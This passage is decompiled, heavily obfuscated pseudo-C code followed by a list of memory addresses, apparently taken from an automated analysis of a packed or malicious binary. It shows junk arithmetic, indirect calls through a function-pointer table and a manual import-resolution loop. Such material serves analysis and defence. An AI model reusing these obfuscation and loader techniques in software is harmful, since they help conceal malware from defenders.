						 *_t743 =  *_t743 + _t463;
						_t166 = _t557 + 0x41c49b; // 0x41c49b
						 *(_t726 - 0x10) = 0;
						 *_t743 =  *_t743 + _t166;
						_t465 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x10),  *(_t726 - 0x14));
						 *(_t726 - 0x14) = _t694;
						 *(_t557 + 0x41c8aa) =  *(_t557 + 0x41c8aa) & 0x00000000;
						 *(_t557 + 0x41c8aa) =  *(_t557 + 0x41c8aa) | _t694 & 0x00000000 ^ _t465;
						_t697 =  *(_t726 - 0x14);
						_t744 = _t743 - 0xfffffffc;
						 *(_t726 - 0x10) = _t638;
						 *(_t726 - 4) =  *(_t726 - 4) & 0x00000000;
						 *(_t726 - 4) =  *(_t726 - 4) ^ _t638 -  *(_t726 - 0x10) ^ _t465 & 0x00000000 ^  *_t743;
						_t641 =  *(_t726 - 0x10);
						_t183 = _t557 + 0x41c279; // 0x41c279
						 *_t744 = _t183;
						_t185 = _t557 + 0x41d1ea; // 0x41d1ea
						 *_t744 =  *_t744 - _t697;
						 *_t744 = _t185;
						_t470 =  *((intOrPtr*)(_t557 + 0x41f068))(_t697,  *(_t726 - 0x14));
						 *(_t726 - 0x14) =  *(_t726 - 0x10);
						 *(_t557 + 0x41cbc5) = 0 ^ _t470;
						_t596 =  *(_t726 - 0x14);
						do {
							L11:
							if(( *_t697 & 0x80000000) != 0) {
								_t744[1] =  *_t697;
								_t559 = _t557;
								 *_t744 =  *_t744 ^ _t697;
								 *_t744 =  *_t744 ^ _t559 + 0x0041d099;
								_t472 =  *((intOrPtr*)(_t559 + 0x41f060))(_t726);
								 *_t744 = _t596;
								 *(_t559 + 0x41c24c) = 0 ^ _t472;
								_t599 = 0;
								 *_t289 = _t697;
								 *_t744 =  *_t744 & 0x00000000;
								 *_t744 =  *_t744 + _t559 + 0x41cdd2;
								 *_t744 =  *_t744 & 0x00000000;
								 *_t744 =  *_t744 | _t559 + 0x0041c846;
								_t475 =  *((intOrPtr*)(_t559 + 0x41f068))(_t726, _t670);
								 *(_t726 - 0x10) = _t641;
								 *(_t559 + 0x41c9fe) = 0 ^ _t475;
								_t644 =  *(_t726 - 0x10);
								 *(_t726 - 0xc) =  *(_t726 - 0xc) & 0x0000ffff;
								 *_t744 =  *_t744 ^ _t644;
								 *_t744 =  *_t744 | _t559 + 0x0041c9e4;
								 *_t744 =  *_t744 & 0x00000000;
								 *_t744 =  *_t744 ^ _t559 + 0x0041c746;
								_t478 =  *((intOrPtr*)(_t559 + 0x41f068))(_t644, _t644);
								 *(_t726 - 0x14) = _t644;
								 *(_t559 + 0x41c559) =  *(_t559 + 0x41c559) & 0x00000000;
								 *(_t559 + 0x41c559) =  *(_t559 + 0x41c559) ^ (_t644 ^  *(_t726 - 0x14) | _t478);
								_t647 =  *(_t726 - 0x14);
							} else {
								_t192 = _t557 + 0x41c8e1; // 0x41c8e1
								 *_t744 =  *_t744 - _t641;
								 *_t744 =  *_t744 | _t192;
								_t512 =  *((intOrPtr*)(_t557 + 0x41f060))(_t641);
								 *(_t726 - 0x10) = 0;
								 *_t744 =  *_t744 | _t512;
								_t196 = _t557 + 0x41c6e2; // 0x41c6e2
								 *_t744 =  *_t744 - _t557;
								 *_t744 =  *_t744 | _t196;
								_t514 =  *((intOrPtr*)(_t557 + 0x41f060))(_t557,  *(_t726 - 0x10));
								_t610 = (_t596 & 0x00000000) +  *_t744;
								_t747 = _t744 - 0xfffffffc;
								 *_t747 =  *_t747 + _t670;
								_t676 = _t514;
								_t515 = _t676 + _t610;
								_t678 = 0;
								 *(_t726 - 0x10) = _t641;
								_t612 = _t610 & 0x00000000 ^ _t641 ^  *(_t726 - 0x10) ^  *(_t557 + 0x41c521);
								_t654 =  *(_t726 - 0x10);
								if(_t612 > _t515) {
									_t202 = _t557 + 0x41c8e1; // 0x41c8e1
									 *_t747 =  *_t747 & 0x00000000;
									 *_t747 =  *_t747 | _t202;
									_t203 = _t557 + 0x41c6e2; // 0x41c6e2
									 *_t747 = _t203;
									_t515 =  *((intOrPtr*)(_t557 + 0x41f064))( *(_t726 - 0x10), _t697);
								}
								 *(_t557 + 0x41c56c) =  *(_t557 + 0x41c56c) & 0x00000000;
								 *(_t557 + 0x41c56c) =  *(_t557 + 0x41c56c) ^ (_t726 & 0x00000000 | _t515);
								_t726 = _t726;
								 *_t747 =  *_t747 & 0x00000000;
								 *_t747 =  *_t747 + _t697;
								_t210 = _t557 + 0x41c266; // 0x41c266
								 *_t747 = _t210;
								_push( *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x10), _t515));
								_pop( *_t213);
								_push( *(_t726 - 0x10));
								_pop( *_t215);
								_t714 =  *_t697;
								_t216 = _t557 + 0x41ce1f; // 0x41ce1f
								 *_t747 =  *_t747 & 0x00000000;
								 *_t747 =  *_t747 ^ _t216;
								_t519 =  *((intOrPtr*)(_t557 + 0x41f060))(_t714);
								 *(_t726 - 0x10) = 0;
								 *_t747 =  *_t747 ^ _t519;
								_t220 = _t557 + 0x41c0ad; // 0x41c0ad
								 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
								 *_t747 =  *_t747 | _t220;
								_t521 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x14),  *(_t726 - 0x10));
								_pop( *_t225);
								_t614 = _t612 & 0x00000000 |  *(_t726 - 0x14);
								 *_t227 = _t521;
								 *(_t726 - 0x10) =  *(_t726 - 0x10) + _t614;
								_push( *(_t726 - 0x10));
								_pop(_t522);
								_t656 = _t654;
								 *(_t726 - 0x10) = _t714;
								_t616 = _t614 & 0x00000000 | _t714 & 0x00000000 ^  *(_t557 + 0x41c765);
								_t717 =  *(_t726 - 0x10);
								if(_t616 > _t522) {
									_t234 = _t557 + 0x41ce1f; // 0x41ce1f
									 *_t747 = _t234;
									_t236 = _t557 + 0x41c0ad; // 0x41c0ad
									 *_t747 =  *_t747 & 0x00000000;
									 *_t747 =  *_t747 | _t236;
									_t522 =  *((intOrPtr*)(_t557 + 0x41f064))(_t726,  *(_t726 - 0x14));
								}
								 *_t747 = _t656;
								 *(_t557 + 0x41c497) = 0 ^ _t522;
								_t659 = 0;
								 *_t747 = _t678;
								_t679 = _t717;
								_t718 = _t679 +  *(_t726 + 8);
								_t681 = 0;
								_t240 = _t557 + 0x41d159; // 0x41d159
								 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
								 *_t747 =  *_t747 ^ _t240;
								_t244 = _t557 + 0x41d213; // 0x41d213
								 *(_t726 - 0x10) = 0;
								 *_t747 =  *_t747 + _t244;
								_t525 =  *((intOrPtr*)(_t557 + 0x41f068))( *(_t726 - 0x10),  *(_t726 - 0x14));
								 *(_t726 - 0x14) = _t718;
								 *(_t557 + 0x41d182) =  *(_t557 + 0x41d182) & 0x00000000;
								 *(_t557 + 0x41d182) =  *(_t557 + 0x41d182) ^ (_t718 ^  *(_t726 - 0x14) | _t525);
								_t599 = _t616;
								_t255 = _t557 + 0x41c85c; // 0x41c85c
								 *_t747 =  *_t747 & 0x00000000;
								 *_t747 =  *_t747 | _t255;
								_t256 = _t557 + 0x41c10e; // 0x41c10e
								 *_t747 = _t256;
								_t528 =  *((intOrPtr*)(_t557 + 0x41f068))( *(_t726 - 0x14), _t659);
								 *(_t557 + 0x41ce00) =  *(_t557 + 0x41ce00) & 0x00000000;
								 *(_t557 + 0x41ce00) =  *(_t557 + 0x41ce00) | _t659 & 0x00000000 | _t528;
								_t662 = _t659;
								_push( *(_t726 - 0x14) + 2);
								_pop( *_t263);
								_push( *(_t726 - 0x14));
								_pop( *_t265);
								_t266 = _t557 + 0x41c9a3; // 0x41c9a3
								 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
								 *_t747 =  *_t747 ^ _t266;
								_t270 = _t557 + 0x41d1fa; // 0x41d1fa
								 *_t747 = _t270;
								_t531 =  *((intOrPtr*)(_t557 + 0x41f068))( *(_t726 - 0x14),  *(_t726 - 0x14));
								 *_t747 = _t662;
								 *((intOrPtr*)(_t557 + 0x41d0fe)) = _t531;
								_t647 = 0;
								_t697 = 0 ^  *_t747;
								_t744 =  &(_t747[1]);
								_t274 = _t557 + 0x41d0af; // 0x41d0af
								 *_t744 =  *_t744 & 0x00000000;
								 *_t744 =  *_t744 | _t274;
								_t275 = _t557 + 0x41ceae; // 0x41ceae
								 *_t744 = _t275;
								_t478 =  *((intOrPtr*)(_t557 + 0x41f068))( *(_t726 - 0x10), _t599);
								 *(_t726 - 0x10) = _t681;
								 *(_t557 + 0x41c8cd) =  *(_t557 + 0x41c8cd) & 0x00000000;
								 *(_t557 + 0x41c8cd) =  *(_t557 + 0x41c8cd) ^ _t681 -  *(_t726 - 0x10) ^ _t478;
								_t670 =  *(_t726 - 0x10);
							}
							 *(_t726 - 0x10) = _t559;
							_t562 =  *(_t726 - 0x10);
							_t312 = _t562 + 0x41cb0b; // 0x41cb0b
							 *(_t726 - 0x14) = 0;
							 *_t744 =  *_t744 | _t312;
							_t482 =  *((intOrPtr*)(_t562 + 0x41f060))( *(_t726 - 0x14));
							 *_t744 = _t482;
							_t317 = _t562 + 0x41cda5; // 0x41cda5
							 *_t744 = _t317;
							_t484 =  *((intOrPtr*)(_t562 + 0x41f060))( *(_t726 - 0x14),  *(_t726 - 0x10));
							_t745 = _t744 - 0xfffffffc;
							 *_t745 =  *_t745 ^ _t726;
							_t727 = _t484;
							_t485 = _t727 +  *_t744;
							_t729 = 0;
							 *(_t729 - 0x14) = _t697;
							_t602 =  *(_t562 + 0x41c96a);
							_t700 =  *(_t729 - 0x14);
							if(_t602 > _t485) {
								_t323 = _t562 + 0x41cb0b; // 0x41cb0b
								 *_t745 =  *_t745 & 0x00000000;
								 *_t745 =  *_t745 | _t323;
								_t324 = _t562 + 0x41cda5; // 0x41cda5
								 *(_t729 - 0x14) =  *(_t729 - 0x14) & 0x00000000;
								 *_t745 =  *_t745 | _t324;
								_t485 =  *((intOrPtr*)(_t562 + 0x41f064))( *(_t729 - 0x14), _t729);
							}
							 *_t329 = _t485;
							 *_t331 =  *(_t729 - 0x10);
							_t745[1] =  *(_t729 - 0xc);
							_t564 = _t562;
							_t334 = _t564 + 0x41cee2; // 0x41cee2
							 *_t745 = _t334;
							_t336 = _t564 + 0x41d33a; // 0x41d33a
							 *(_t729 - 0x14) = 0;
							 *_t745 =  *_t745 | _t336;
							_t488 =  *((intOrPtr*)(_t564 + 0x41f068))( *(_t729 - 0x14),  *(_t729 - 0x10), _t602);
							 *(_t564 + 0x41d1da) =  *(_t564 + 0x41d1da) & 0x00000000;
							 *(_t564 + 0x41d1da) =  *(_t564 + 0x41d1da) | _t700 -  *_t745 | _t488;
							_t703 = _t700;
							 *(_t729 - 0x10) = _t670;
							_t673 =  *(_t729 - 0x10);
							 *_t745 =  *_t745 - _t647;
							 *_t745 =  *_t745 ^ (_t488 & 0x00000000 | _t670 ^  *(_t729 - 0x10) |  *(_t729 - 4));
							_t348 = _t564 + 0x41d2b3; // 0x41d2b3
							 *_t745 =  *_t745 - _t647;
							 *_t745 = _t348;
							_t349 = _t564 + 0x41cb87; // 0x41cb87
							 *(_t729 - 0x10) =  *(_t729 - 0x10) & 0x00000000;
							 *_t745 =  *_t745 + _t349;
							_t493 =  *((intOrPtr*)(_t564 + 0x41f068))( *(_t729 - 0x10), _t647, _t647);
							 *(_t729 - 0x10) = _t602;
							 *(_t564 + 0x41cf9a) =  *(_t564 + 0x41cf9a) & 0x00000000;
							 *(_t564 + 0x41cf9a) =  *(_t564 + 0x41cf9a) | _t602 ^  *(_t729 - 0x10) | _t493;
							_t605 =  *(_t729 - 0x10);
							_t746 =  &(_t745[1]);
							 *(_t729 - 0x10) = 0;
							 *_t746 =  *_t746 ^  *_t745;
							_t363 = _t564 + 0x41c922; // 0x41c922
							 *(_t729 - 0x10) = 0;
							 *_t746 =  *_t746 | _t363;
							_t366 = _t564 + 0x41c97d; // 0x41c97d
							 *_t746 =  *_t746 & 0x00000000;
							 *_t746 =  *_t746 + _t366;
							_t498 =  *((intOrPtr*)(_t564 + 0x41f068))(_t605,  *(_t729 - 0x10),  *(_t729 - 0x10));
							 *(_t564 + 0x41cae1) =  *(_t564 + 0x41cae1) & 0x00000000;
							 *(_t564 + 0x41cae1) =  *(_t564 + 0x41cae1) | _t729 & 0x00000000 | _t498;
							_t726 = _t729;
							_t499 =  *((intOrPtr*)(_t564 + 0x41f050))();
							 *(_t726 - 0x14) = 0;
							 *_t746 =  *_t746 + _t499;
							_t375 = _t564 + 0x41c197; // 0x41c197
							 *(_t726 - 0x14) = 0;
							 *_t746 =  *_t746 | _t375;
							_t501 =  *((intOrPtr*)(_t564 + 0x41f060))( *(_t726 - 0x14),  *(_t726 - 0x14));
							 *(_t726 - 0x14) = 0;
							 *_t746 =  *_t746 | _t501;
							_t381 = _t564 + 0x41c46f; // 0x41c46f
							 *(_t726 - 0x14) = 0;
							 *_t746 =  *_t746 ^ _t381;
							_t503 =  *((intOrPtr*)(_t564 + 0x41f060))( *(_t726 - 0x14),  *(_t726 - 0x14));
							_pop( *_t385);
							_t607 = (_t605 & 0x00000000) +  *(_t726 - 0x10);
							 *_t387 = _t503;
							 *(_t726 - 0x14) =  *(_t726 - 0x14) + _t607;
							_push( *(_t726 - 0x14));
							_pop(_t504);
							_t566 = _t564;
							 *(_t726 - 0x10) = _t673;
							_t596 = _t607 & 0x00000000 ^ _t673 -  *(_t726 - 0x10) ^  *(_t566 + 0x41c9d0);
							_t670 =  *(_t726 - 0x10);
							if(_t596 > _t504) {
								_t395 = _t566 + 0x41c197; // 0x41c197
								 *_t746 =  *_t746 & 0x00000000;
								 *_t746 =  *_t746 + _t395;
								_t396 = _t566 + 0x41c46f; // 0x41c46f
								 *(_t726 - 0x10) = 0;
								 *_t746 =  *_t746 ^ _t396;
								_t504 =  *((intOrPtr*)(_t566 + 0x41f064))( *(_t726 - 0x10), _t703);
								 *(_t566 + 0x41cfe1) =  *(_t566 + 0x41cfe1) & 0x00000000;
								 *(_t566 + 0x41cfe1) =  *(_t566 + 0x41cfe1) | _t726 ^  *_t746 ^ _t504;
								_t726 = _t726;
							}
							_t744 =  &(_t746[1]);
							 *_t744 =  *_t744 ^ _t726;
							 *_t744 = _t703;
							 *_t744 = _t504 & 0x00000000 |  *_t746;
							_t509 = 0;
							 *_t744 = _t647;
							 *((intOrPtr*)( *((intOrPtr*)(_t726 - 8)))) = _t509;
							_t650 = 0;
							 *_t405 = _t726;
							 *_t744 = 4;
							_t510 = _t566;
							 *_t407 = 0 ^  *(_t726 - 0x14);
							 *(_t726 - 0x14) =  *(_t726 - 0x14) + _t510;
							_push( *(_t726 - 0x14));
							_pop(_t697);
							_t641 = _t650;
							 *_t412 =  *((intOrPtr*)(_t726 - 8));
							 *(_t726 - 0x10) =  *(_t726 - 0x10) + _t510;
							_push( *(_t726 - 0x10));
							_pop( *_t416);
							_t557 = _t566;
						} while ( *_t697 != 0);
						_t665 = _t670 + 0x14;
						_t686 = _t697;
						if( *_t665 != 0 ||  *(_t665 + 0x10) != 0) {
							if( *_t665 != 0) {
								goto L5;
							} else {
								_t10 = _t557 + 0x41d076; // 0x41d076
								 *(_t726 - 0x10) = 0;
								 *_t744 =  *_t744 | _t10;
								_t539 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x10));
								 *(_t726 - 0x14) = _t686;
								 *(_t557 + 0x41d0ee) = 0 ^ _t539;
								_push( *(_t665 + 0x10));
								_pop( *_t18);
								_push( *(_t726 - 0x10));
								_pop(_t687);
								_t20 = _t557 + 0x41c2b0; // 0x41c2b0
								 *_t744 = _t20;
								_t541 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x10));
								 *(_t557 + 0x41c1b3) =  *(_t557 + 0x41c1b3) & 0x00000000;
								 *(_t557 + 0x41c1b3) =  *(_t557 + 0x41c1b3) | _t726 ^  *_t744 | _t541;
								_t726 = _t726;
							}
							_t626 =  *_t740;
							 *_t740 =  *(_t665 + 0x10);
							_t47 = _t551 + 0x41c661; // 0x41c661
							 *_t740 =  *_t740 ^ _t726;
							 *_t740 =  *_t740 + _t47;
							_t430 =  *((intOrPtr*)(_t551 + 0x41f060))(_t622);
							 *_t740 = _t687;
							 *((intOrPtr*)(_t551 + 0x41d31e)) = _t430;
							_t690 = 0;
							 *_t50 = _t726;
							_t51 = _t551 + 0x41c5b3; // 0x41c5b3
							 *_t740 = _t51;
							_t432 =  *((intOrPtr*)(_t551 + 0x41f060))( *(_t726 - 0x10));
							 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
							 *_t740 =  *_t740 ^ _t432;
							_t57 = _t551 + 0x41c868; // 0x41c868
							 *_t740 =  *_t740 & 0x00000000;
							 *_t740 =  *_t740 ^ _t57;
							_t434 =  *((intOrPtr*)(_t551 + 0x41f060))( *(_t726 - 0x14));
							 *_t59 = _t665;
							_t573 = 0 ^  *(_t726 - 0x10);
							 *_t61 = _t434;
							 *(_t726 - 0x14) =  *(_t726 - 0x14) + _t573;
							_push( *(_t726 - 0x14));
							_pop(_t435);
							_t667 = _t665;
							 *(_t726 - 0x14) = _t435;
							_t575 = _t573 & 0x00000000 ^ _t435 & 0x00000000 ^  *(_t551 + 0x41c633);
							_t438 =  *(_t726 - 0x14);
							if(_t575 > _t438) {
								_t68 = _t551 + 0x41c5b3; // 0x41c5b3
								 *_t740 = _t68;
								_t70 = _t551 + 0x41c868; // 0x41c868
								 *(_t726 - 0x10) =  *(_t726 - 0x10) & 0x00000000;
								 *_t740 =  *_t740 | _t70;
								_t438 =  *((intOrPtr*)(_t551 + 0x41f064))( *(_t726 - 0x10),  *(_t726 - 0x14));
							}
							 *(_t726 - 0x10) = _t626;
							 *(_t551 + 0x41c2a0) =  *(_t551 + 0x41c2a0) & 0x00000000;
							 *(_t551 + 0x41c2a0) =  *(_t551 + 0x41c2a0) | _t626 & 0x00000000 ^ _t438;
							_t629 =  *(_t726 - 0x10);
							 *(_t726 - 0x10) = _t551;
							_t554 =  *(_t726 - 0x10);
							 *_t740 =  *_t740 & 0x00000000;
							 *_t740 =  *_t740 | _t438 & 0x00000000 | _t551 & 0x00000000 ^  *(_t726 + 8);
							_t84 = _t554 + 0x41c812; // 0x41c812
							 *_t740 =  *_t740 & 0x00000000;
							 *_t740 =  *_t740 + _t84;
							_t85 = _t554 + 0x41ca65; // 0x41ca65
							 *_t740 =  *_t740 & 0x00000000;
							 *_t740 =  *_t740 | _t85;
							_t443 =  *((intOrPtr*)(_t554 + 0x41f068))(_t575, _t690);
							 *(_t726 - 0x14) = _t667;
							 *(_t554 + 0x41d25f) =  *(_t554 + 0x41d25f) & 0x00000000;
							 *(_t554 + 0x41d25f) =  *(_t554 + 0x41d25f) ^ (_t667 -  *(_t726 - 0x14) | _t443);
							_t670 =  *(_t726 - 0x14);
							 *_t94 = _t575;
							 *_t740 =  *_t740 ^ _t690;
							_push( *((intOrPtr*)(_t726 - 8)));
							_pop(_t691);
							 *((intOrPtr*)(_t726 - 8)) = _t691 +  *(_t726 - 0x10);
							_t693 = 0;
							_t98 = _t554 + 0x41d15d; // 0x41d15d
							 *_t740 =  *_t740 - _t575;
							 *_t740 = _t98;
							_t99 = _t554 + 0x41c260; // 0x41c260
							 *(_t726 - 0x10) = 0;
							 *_t740 =  *_t740 | _t99;
							_push( *((intOrPtr*)(_t554 + 0x41f068))( *(_t726 - 0x10), _t575));
							_pop( *_t103);
							_push( *(_t726 - 0x10));
							_pop( *_t105);
							_push( *((intOrPtr*)(_t670 + 0xc)));
							_pop( *_t107);
							_push( *(_t726 - 0x14));
							_pop(_t576);
							 *_t740 =  *_t740 & 0x00000000;
							 *_t740 =  *_t740 + _t576;
							_t109 = _t554 + 0x41ca52; // 0x41ca52
							 *_t740 =  *_t740 - _t554;
							 *_t740 =  *_t740 + _t109;
							_t449 =  *((intOrPtr*)(_t554 + 0x41f060))(_t554, _t554);
							 *(_t726 - 0x14) = _t629;
							 *(_t554 + 0x41cd09) =  *(_t554 + 0x41cd09) & 0x00000000;
							 *(_t554 + 0x41cd09) =  *(_t554 + 0x41cd09) | _t629 -  *(_t726 - 0x14) ^ _t449;
							_t632 =  *(_t726 - 0x14);
							_t741 = _t740 - 0xfffffffc;
							_push(0);
							 *_t741 =  *_t741 | _t449;
							_push( *_t740);
							_pop(_t450);
							 *_t741 = _t450 +  *(_t726 + 8);
							_t120 = _t554 + 0x41c07f; // 0x41c07f
							 *_t741 = _t120;
							_t454 =  *((intOrPtr*)(_t554 + 0x41f060))( *(_t726 - 0x10),  *(_t726 - 0x14));
							 *_t741 =  *_t741 - _t632;
							 *_t741 =  *_t741 | _t454;
							_t123 = _t554 + 0x41d248; // 0x41d248
							 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
							 *_t741 =  *_t741 | _t123;
							_t456 =  *((intOrPtr*)(_t554 + 0x41f060))( *(_t726 - 0x14), _t632);
							_t581 =  *_t741;
							_t742 =  &(_t741[1]);
							 *(_t726 - 0x10) = _t554;
							_push(_t581 + _t456);
							_t557 =  *(_t726 - 0x10);
							_pop(_t457);
							_t583 = _t581 & 0x00000000 ^ _t632 -  *_t742 ^  *(_t557 + 0x41d0e6);
							_t635 = _t632;
							if(_t583 > _t457) {
								_t131 = _t557 + 0x41c07f; // 0x41c07f
								 *(_t726 - 0x14) =  *(_t726 - 0x14) & 0x00000000;
								 *_t742 =  *_t742 + _t131;
								_t135 = _t557 + 0x41d248; // 0x41d248
								 *(_t726 - 0x14) = 0;
								 *_t742 =  *_t742 | _t135;
								_t457 =  *((intOrPtr*)(_t557 + 0x41f064))( *(_t726 - 0x14),  *(_t726 - 0x14));
								 *(_t726 - 0x10) = _t693;
								 *((intOrPtr*)(_t557 + 0x41cd68)) = _t457;
								_t693 =  *(_t726 - 0x10);
							}
							_pop( *_t142);
							 *_t742 = _t583 & 0x00000000 ^  *(_t726 - 0x10);
							_t586 = _t693;
							_t694 = _t586 +  *(_t726 + 8);
							_t588 = 0;
							 *_t742 =  *_t742 & 0x00000000;
							 *_t742 =  *_t742 | _t588;
							_t145 = _t557 + 0x41d135; // 0x41d135
							 *_t742 = _t145;
							_t147 = _t557 + 0x41c60e; // 0x41c60e
							 *_t742 =  *_t742 & 0x00000000;
							 *_t742 =  *_t742 | _t147;
							_t460 =  *((intOrPtr*)(_t557 + 0x41f068))(_t588,  *(_t726 - 0x10), _t457);
							 *(_t726 - 0x14) = _t635;
							 *((intOrPtr*)(_t557 + 0x41c3e6)) = _t460;
							_t638 =  *(_t726 - 0x14);
							_t590 =  *_t742;
							_t743 = _t742 - 0xfffffffc;
							 *_t743 =  *_t743 - _t638;
							 *_t743 =  *_t743 ^ _t590;
							_t152 = _t557 + 0x41c220; // 0x41c220
							 *(_t726 - 0x14) = 0;
							 *_t743 =  *_t743 + _t152;
							_t462 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x14), _t638);
							 *(_t726 - 0x10) = _t590;
							 *(_t557 + 0x41cf1d) =  *(_t557 + 0x41cf1d) & 0x00000000;
							 *(_t557 + 0x41cf1d) =  *(_t557 + 0x41cf1d) ^ (_t590 ^  *(_t726 - 0x10) | _t462);
							_t463 =  *((intOrPtr*)(_t557 + 0x41f054))();
							 *(_t726 - 0x14) = 0;
							 *_t743 =  *_t743 + _t463;
							_t166 = _t557 + 0x41c49b; // 0x41c49b
							 *(_t726 - 0x10) = 0;
							 *_t743 =  *_t743 + _t166;
							_t465 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x10),  *(_t726 - 0x14));
							 *(_t726 - 0x14) = _t694;
							 *(_t557 + 0x41c8aa) =  *(_t557 + 0x41c8aa) & 0x00000000;
							 *(_t557 + 0x41c8aa) =  *(_t557 + 0x41c8aa) | _t694 & 0x00000000 ^ _t465;
							_t697 =  *(_t726 - 0x14);
							_t744 = _t743 - 0xfffffffc;
							 *(_t726 - 0x10) = _t638;
							 *(_t726 - 4) =  *(_t726 - 4) & 0x00000000;
							 *(_t726 - 4) =  *(_t726 - 4) ^ _t638 -  *(_t726 - 0x10) ^ _t465 & 0x00000000 ^  *_t743;
							_t641 =  *(_t726 - 0x10);
							_t183 = _t557 + 0x41c279; // 0x41c279
							 *_t744 = _t183;
							_t185 = _t557 + 0x41d1ea; // 0x41d1ea
							 *_t744 =  *_t744 - _t697;
							 *_t744 = _t185;
							_t470 =  *((intOrPtr*)(_t557 + 0x41f068))(_t697,  *(_t726 - 0x14));
							 *(_t726 - 0x14) =  *(_t726 - 0x10);
							 *(_t557 + 0x41cbc5) = 0 ^ _t470;
							_t596 =  *(_t726 - 0x14);
							goto L11;
						}
						 *_t744 =  *_t744 ^ _t510;
						_t542 = _t510;
						return _t542;
					}
				}
			}

0x031e5378
0x031e5378
0x031e5378
0x031e537e
0x031e537f
0x031e5382
0x031e5385
0x031e538b
0x031e538c
0x031e538f
0x031e5398
0x031e5399
0x031e539d
0x031e53a0
0x031e53af
0x031e53b2
0x031e53b9
0x031e53ba
0x031e53bd
0x031e53be
0x031e53cb
0x031e53d0
0x031e53d9
0x031e53dd
0x031e53e6
0x031e53ed
0x031e53f0
0x031e53f0
0x031e53f7
0x031e53fd
0x031e5403
0x031e5403
0x031e5405
0x031e540b
0x031e540c
0x031e5413
0x031e5417
0x031e541a
0x031e5421
0x031e5424
0x031e5427
0x031e5433
0x031e543a
0x031e5440
0x031e5441
0x031e5445
0x031e5445
0x031e5448
0x031e544f
0x031e5452
0x031e5455
0x031e545d
0x031e5464
0x031e546a
0x031e546b
0x031e546e
0x031e5477
0x031e547a
0x031e5480
0x031e5487
0x031e548a
0x031e5491
0x031e5495
0x031e5498
0x031e54a0
0x031e54a3
0x031e54aa
0x031e54ad
0x031e54b0
0x031e54b3
0x031e54b4
0x031e54b5
0x031e54c4
0x031e54c6
0x031e54cb
0x031e54cd
0x031e54d6
0x031e54d9
0x031e54df
0x031e54e6
0x031e54e9
0x031e54e9
0x031e54ef
0x031e54f7
0x031e54fe
0x031e5504
0x031e5507
0x031e5515
0x031e5519
0x031e551d
0x031e5520
0x031e5527
0x031e552b
0x031e552e
0x031e5535
0x031e5539
0x031e553c
0x031e5542
0x031e554a
0x031e5551
0x031e5557
0x031e555a
0x031e5562
0x031e5565
0x031e5568
0x031e556b
0x031e556e
0x031e556f
0x031e5576
0x031e5579
0x031e557c
0x031e5582
0x031e558c
0x031e5595
0x031e5596
0x031e5599
0x031e559c
0x031e55a2
0x031e55a5
0x031e55a8
0x031e55ab
0x031e55ad
0x031e55b1
0x031e55b4
0x031e55bb
0x031e55be
0x031e55c1
0x031e55c7
0x031e55cf
0x031e55d6
0x031e55dc
0x031e55e8
0x031e55eb
0x031e55ed
0x031e55f0
0x031e55f1
0x031e55fb
0x031e55fe
0x031e5607
0x031e560a
0x031e5611
0x031e5614
0x031e5617
0x031e561d
0x031e5624
0x031e5627
0x031e562f
0x031e5632
0x031e5635
0x031e563c
0x031e563d
0x031e5640
0x031e564e
0x031e5650
0x031e5653
0x031e5655
0x031e565b
0x031e5662
0x031e5665
0x031e566b
0x031e5675
0x031e5678
0x031e567e
0x031e5685
0x031e568b
0x031e568b
0x031e5694
0x031e569c
0x031e56a0
0x031e56a4
0x031e56a6
0x031e56a8
0x031e56ac
0x031e56af
0x031e56b8
0x031e56bb
0x031e56c2
0x031e56c6
0x031e56c9
0x031e56cf
0x031e56d6
0x031e56dc
0x031e56e1
0x031e56e4
0x031e56e8
0x031e56eb
0x031e56ee
0x031e56f4
0x031e56fe
0x031e5701
0x031e5707
0x031e570f
0x031e5716
0x031e571f
0x031e5725
0x031e572f
0x031e5732
0x031e5738
0x031e5742
0x031e5745
0x031e574b
0x031e5753
0x031e575a
0x031e5760
0x031e576c
0x031e576f
0x031e5777
0x031e577b
0x031e577e
0x031e5781
0x031e578a
0x031e578d
0x031e5794
0x031e5797
0x031e579a
0x031e57a0
0x031e57a7
0x031e57ad
0x031e57b0
0x031e57b0
0x031e57b6
0x031e5a4d
0x031e5a51
0x031e5a59
0x031e5a5c
0x031e5a5f
0x031e5a67
0x031e5a6e
0x031e5a74
0x031e5a75
0x031e5a7f
0x031e5a83
0x031e5a8d
0x031e5a91
0x031e5a94
0x031e5a9a
0x031e5aa1
0x031e5aa7
0x031e5aaa
0x031e5ab8
0x031e5abb
0x031e5ac5
0x031e5ac9
0x031e5acc
0x031e5ad2
0x031e5ada
0x031e5ae1
0x031e5ae7
0x031e57bc
0x031e57bc
0x031e57c3
0x031e57c6
0x031e57c9
0x031e57cf
0x031e57d9
0x031e57dc
0x031e57e3
0x031e57e6
0x031e57e9
0x031e57f5
0x031e57f8
0x031e57fd
0x031e5801
0x031e5804
0x031e5806
0x031e5807
0x031e5816
0x031e5818
0x031e581d
0x031e581f
0x031e5826
0x031e582a
0x031e582d
0x031e5836
0x031e5839
0x031e5839
0x031e5845
0x031e584c
0x031e5852
0x031e5854
0x031e5858
0x031e585b
0x031e5864
0x031e586d
0x031e586e
0x031e5871
0x031e5874
0x031e587a
0x031e587c
0x031e5883
0x031e5887
0x031e588a
0x031e5890
0x031e589a
0x031e589d
0x031e58a3
0x031e58aa
0x031e58ad
0x031e58b9
0x031e58bc
0x031e58c3
0x031e58c6
0x031e58c9
0x031e58cc
0x031e58cd
0x031e58ce
0x031e58dd
0x031e58df
0x031e58e4
0x031e58e6
0x031e58ef
0x031e58f2
0x031e58f9
0x031e58fd
0x031e5900
0x031e5900
0x031e5908
0x031e590f
0x031e5915
0x031e5918
0x031e591c
0x031e5920
0x031e5922
0x031e5923
0x031e5929
0x031e5930
0x031e5933
0x031e5939
0x031e5943
0x031e5946
0x031e594c
0x031e5954
